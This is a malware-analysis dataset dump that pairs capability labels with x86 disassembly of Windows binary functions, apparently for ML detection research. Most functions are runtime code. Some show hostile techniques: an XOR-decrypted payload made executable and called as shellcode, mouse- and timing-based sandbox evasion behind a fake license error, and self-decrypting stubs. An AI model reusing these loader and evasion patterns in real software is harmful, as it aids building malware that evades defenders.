joyce8/EMBER2024-capa huggingface dataset:
Function at 0x419a6c
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x419a97
test byte [esp + 8], 0x80
je 0x419a86
and al, 0xfe
jmp 0x419a88
or al, 1
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x419aa8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0041b01a
pop ecx
or eax, 0xffffffff
ret
xor eax, eax
ret

Function at 0x419bad
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x419bcd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0041b01a
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x419bee
test byte [esp + 8], 2
je 0x419bee
mov dword [0x42a944], 0xd
mov dword [0x42a948], 5
jmp 0x419bc9
xor eax, eax
ret

Function at 0x41e629
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x429f60
cmp edx, dword [eax]
je 0x41e64b
add eax, 8
inc ecx
cmp eax, 0x429ff0
jl 0x41e63c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x429f60]
jne 0x41e779
mov eax, dword [0x42a9a0]
cmp eax, 1
je 0x41e753
test eax, eax
jne 0x41e67c
cmp dword [0x4279d8], 1
je 0x41e753
cmp edx, 0xfc
je 0x41e779
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x41e6b3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0041d280
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0041d200
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x41e6f6
lea eax, [ebp - 0x1a4]
push eax
call fcn.0041d200
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x425470
push edi
call fcn.0041a1d0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0041d280
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0041d290
lea eax, [ebp - 0xa0]
push 0x422bd4
push eax
call fcn.0041d290
push dword [esi + 0x429f64]
lea eax, [ebp - 0xa0]
push eax
call fcn.0041d290
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0041ff85
add esp, 0x2c
pop edi
jmp 0x41e779
lea eax, [ebp + 8]
lea esi, [esi + 0x429f64]
push 0
push eax
push dword [esi]
call fcn.0041d200
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x40891d
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x4085d8
mov edx, edi
and edi, edi
call fcn.00408945
xor dword [eax], ecx
inc eax
sub edx, edi
cmp eax, esi
jne fcn.0040891d
add edx, 0xd89a2a30
ret
Function at 0x4097c8
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40989b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4098b4
push ebx
push 0x4098c0
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.0040336c
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00402750
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004033cc
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409848
mov al, 0x62
call fcn.004093a0
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040979c
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409851
call fcn.0040979c
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4098a2
lea eax, [ebp - 4]
call fcn.00403150
ret

Function at 0x409934
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4099e8
jmp 0x4099dd
cmp dword [esi + 0x10], 0x1000
jne 0x4099c9
test byte [esi + 0x15], 1
jne 0x4099c9
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409988
cmp eax, 2
je 0x409988
cmp eax, 0x10
je 0x409988
cmp eax, 0x20
jne 0x40999d
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x40999d
mov bl, 1
xor ebp, ebp
jmp 0x4099ae
mov eax, dword [esi]
add eax, ebp
call fcn.0040992c
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x4099a1
test bl, bl
je 0x4099c9
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4099e8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409960
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x43b657
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x43b3c1
dec ecx
add edi, edi
call fcn.0043b68f
mov ecx, edi
sub edi, ecx
xor dword [eax], edx
sub edi, 1
inc eax
add ecx, edi
cmp eax, ebx
jne fcn.0043b657
and edi, ecx
or ecx, edi
and edi, edi
ret
Function at 0x401130
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x40fe00
push 0x402ae0
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x411050]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 0
call fcn.00401070
test eax, eax
je 0x4011dc
lea edi, [eax + 0x4120c0]
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0x1f800
push 0x4120c0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x4011dc
call edi
test eax, eax
je 0x4011c5
lea ecx, [ebp - 0x28]
push ecx
push 6
push 0
call eax
neg eax
sbb eax, eax
and eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push 0x1f800
push 0x4120c0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x28]
jmp 0x4011fa
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.004016a2
mov esp, ebp
pop ebp
ret
Function at 0x401220
Capabilities:
Check for time delay via gettickcount
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
mov eax, dword [0x411050]
xor eax, esp
mov dword [esp + 0x28], eax
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push edi
push 0
mov dword [esp + 0x2c], ecx
call esi
push 1
mov edi, eax
call esi
imul eax, eax
xor ecx, ecx
imul edi, edi
xorps xmm1, xmm1
xor ebx, ebx
mov dword [esp + 0x14], ecx
movss dword [esp + 0x10], xmm1
add eax, edi
xor edi, edi
mov dword [esp + 0x24], eax
xor eax, eax
mov dword [esp + 0x18], eax
xor esi, esi
mov eax, dword [esp + 0x30]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x1c], eax
test esi, esi
je 0x401296
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
test esi, esi
je 0x40132c
mov eax, dword [esp + 0x2c]
sub eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x30]
sub ecx, dword [esp + 0x20]
imul ecx, ecx
imul eax, eax
inc dword [esp + 0x14]
add ecx, eax
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
shr ecx, 0x1f
addsd xmm0, qword [ecx*8 + 0x40fd80]
cvtpd2ps xmm1, xmm0
movss xmm0, dword [esp + 0x10]
addss xmm0, xmm1
movss dword [esp + 0x10], xmm0
xorps xmm0, xmm0
ucomiss xmm1, xmm0
lahf
test ah, 0x44
jp 0x4012fa
inc edi
mov eax, dword [esp + 0x24]
mov ecx, 1
shr eax, 2
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x40fd80]
mov eax, dword [esp + 0x18]
cvtpd2ps xmm0, xmm0
comiss xmm1, xmm0
cmova eax, ecx
mov dword [esp + 0x18], eax
mov eax, edi
imul eax, edi
push 0x64
cmp eax, 0x28
mov eax, 1
cmovge ebx, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x28
jb 0x401282
mov ecx, dword [esp + 0x14]
movss xmm1, dword [esp + 0x10]
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
shr ecx, 0x1f
addsd xmm0, qword [ecx*8 + 0x40fd80]
cvtpd2ps xmm0, xmm0
divss xmm1, xmm0
xorps xmm0, xmm0
ucomiss xmm1, xmm0
lahf
test ah, 0x44
jp 0x4013a8
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x64
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, esi
cmp eax, 0xa
jb 0x4013dd
inc edi
cmp edi, 0x4b0
jl 0x401382
test ebx, ebx
je 0x4013e5
mov eax, dword [esp + 0x18]
test eax, eax
je 0x4013e5
mov eax, dword [esp + 0x28]
cmp eax, 3
jae 0x4013c9
lea ecx, [eax + 1]
call fcn.00401220
test eax, eax
je 0x4013e5
push 0x10
push str.Error
push str.License_file_not_found._r_nPlease__consider_to_buy_this_program.
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [esp + 0x34]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004016a2
mov esp, ebp
pop ebp
ret
Function at 0x401400
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push 0
push 0
push 0
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x28], 4
mov dword [ebp - 0x24], 3
mov dword [ebp - 0x20], 2
mov dword [ebp - 0x1c], 0xa
mov dword [ebp - 0x18], 3
mov dword [ebp - 0x14], 4
mov dword [ebp - 0x10], 0xf
mov dword [ebp - 0xc], 0x2d
mov dword [ebp - 8], 0x31
mov dword [ebp - 4], 0xa
call dword [sym.imp.KERNEL32.dll_OpenProcess]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
je 0x401472
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
call fcn.00401220
xor eax, eax
xor edx, edx
lea ecx, [ecx]
movzx ecx, byte [ebp + eax*4 - 0x2c]
inc eax
xor byte [edx + 0x4120c0], cl
xor ecx, ecx
cmp eax, 0xb
cmove eax, ecx
movzx ecx, byte [ebp + eax*4 - 0x2c]
inc eax
xor byte [edx + 0x4120c1], cl
xor ecx, ecx
cmp eax, 0xb
cmove eax, ecx
movzx ecx, byte [ebp + eax*4 - 0x2c]
inc eax
xor byte [edx + 0x4120c2], cl
xor ecx, ecx
cmp eax, 0xb
cmove eax, ecx
movzx ecx, byte [ebp + eax*4 - 0x2c]
inc eax
xor byte [edx + 0x4120c3], cl
xor ecx, ecx
cmp eax, 0xb
cmove eax, ecx
movzx ecx, byte [ebp + eax*4 - 0x2c]
inc eax
xor byte [edx + 0x4120c4], cl
xor ecx, ecx
cmp eax, 0xb
cmove eax, ecx
movzx ecx, byte [ebp + eax*4 - 0x2c]
inc eax
xor byte [edx + 0x4120c5], cl
xor ecx, ecx
cmp eax, 0xb
cmove eax, ecx
add edx, 6
cmp edx, 0x1f800
jb 0x401480
call fcn.00401130
push 0
test eax, eax
jne 0x40146c
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x404eaa
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x411050]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0040314c
mov dword [ebp - 0x14], eax
cmp dword [0x432610], esi
jne 0x404f9d
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x404f2a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40507d
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40507d
push 0x40d328
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40507d
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x432610], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x432614], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x432618], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x432620], eax
test eax, eax
je 0x404f9a
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43261c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x404fc2
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x404fb5
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x404fd7
push 4
pop eax
jmp 0x40507f
cmp dword [ebp - 0x14], esi
je 0x404fd7
push dword [0x432610]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x404fbc
mov eax, dword [0x43261c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x405035
cmp dword [0x432620], edi
je 0x405035
push eax
call ebx
push dword [0x432620]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x405035
test eax, eax
je 0x405035
call ecx
test eax, eax
je 0x40502a
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40502a
test byte [ebp - 8], 1
jne 0x405035
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x405065
mov eax, dword [0x432614]
cmp eax, edi
je 0x405062
push eax
call ebx
test eax, eax
je 0x405062
call eax
mov esi, eax
test esi, esi
je 0x405062
mov eax, dword [0x432618]
cmp eax, edi
je 0x405062
push eax
call ebx
test eax, eax
je 0x405062
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x432610]
call ebx
test eax, eax
je 0x40507d
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40507f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004016a2
mov esp, ebp
pop ebp
ret
Function at 0x410883
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004106f4

Function at 0x410c7d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.004052c0
mov eax, dword [0x427040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0040f8e9
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x410cbf
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x410e1b
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0041ad00
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x474860]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00411c74
mov ecx, dword [esi*4 + 0x474860]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x410e14
cmp eax, dword [edi + ecx + 0x24]
jne 0x410e14
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x410e14
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00411c74
add esp, 0x14
test edx, edx
jl 0x410e14
jg 0x410d8a
test eax, eax
jb 0x410e14
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x410e14
jl 0x410da4
cmp dword [ebp - 0x1008], eax
ja 0x410e14
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x410dc2
test ebx, ebx
je 0x410dfb
cmp ecx, edi
jae 0x410dfb
mov al, byte [ecx]
cmp al, 0xd
jne 0x410ddc
lea eax, [edi - 1]
cmp ecx, eax
jae 0x410de8
cmp byte [ecx + 1], 0xa
jne 0x410de8
inc ecx
jmp 0x410de8
movzx eax, al
movsx eax, byte [eax + 0x4272f8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x410dc2
cmp edx, ebx
jne 0x410dc2
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x410e19
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00404791
leave
ret
Function at 0x411112
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x474860]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x411152
cmp byte [ebx], 0xa
jne 0x411152
or byte [eax + edi + 0x28], 4
jmp 0x411157
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x411255
mov al, byte [edx]
cmp al, 0x1a
je 0x411237
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x411186
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x4111ab
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x4111b5
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x411168
jmp 0x411255
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411232
cmp dword [ebp - 0xc], 0
je 0x411232
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x474860]
test byte [eax + edi + 0x28], 0x48
je 0x41120c
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4111f7
mov byte [esi], dl
jmp 0x411208
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x474860]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x411255
cmp byte [ebp - 1], 0xa
jne 0x41121b
cmp esi, ebx
jne 0x41121b
mov byte [esi], 0xa
jmp 0x411254
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00411c92
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x411255
mov byte [esi], 0xd
jmp 0x411254
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x474860]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x411251
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x411255
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41125e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x474860]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4112a1
cmp word [esi], dx
jne 0x4112a1
or byte [edi + eax + 0x28], 4
jmp 0x4112a6
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x4113f9
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x4113d9
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x4112e8
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41131e
cmp eax, edx
jae 0x41132a
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x4112c0
jmp 0x4113f9
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4113d5
cmp dword [ebp - 0x14], 0
je 0x4113d5
mov eax, dword [ebx*4 + 0x474860]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x4113ad
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x411376
mov word [esi], cx
jmp 0x4113a9
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x474860]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x474860]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x474860]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x4113f9
pop ebx
cmp word [ebp - 4], bx
jne 0x4113be
cmp esi, dword [ebp + 0xc]
jne 0x4113be
mov word [esi], bx
jmp 0x4113f6
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00411c92
add esp, 0x10
cmp word [ebp - 4], bx
je 0x4113f9
push 0xd
jmp 0x4113f2
mov ecx, dword [ebx*4 + 0x474860]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4113f0
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4113f9
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret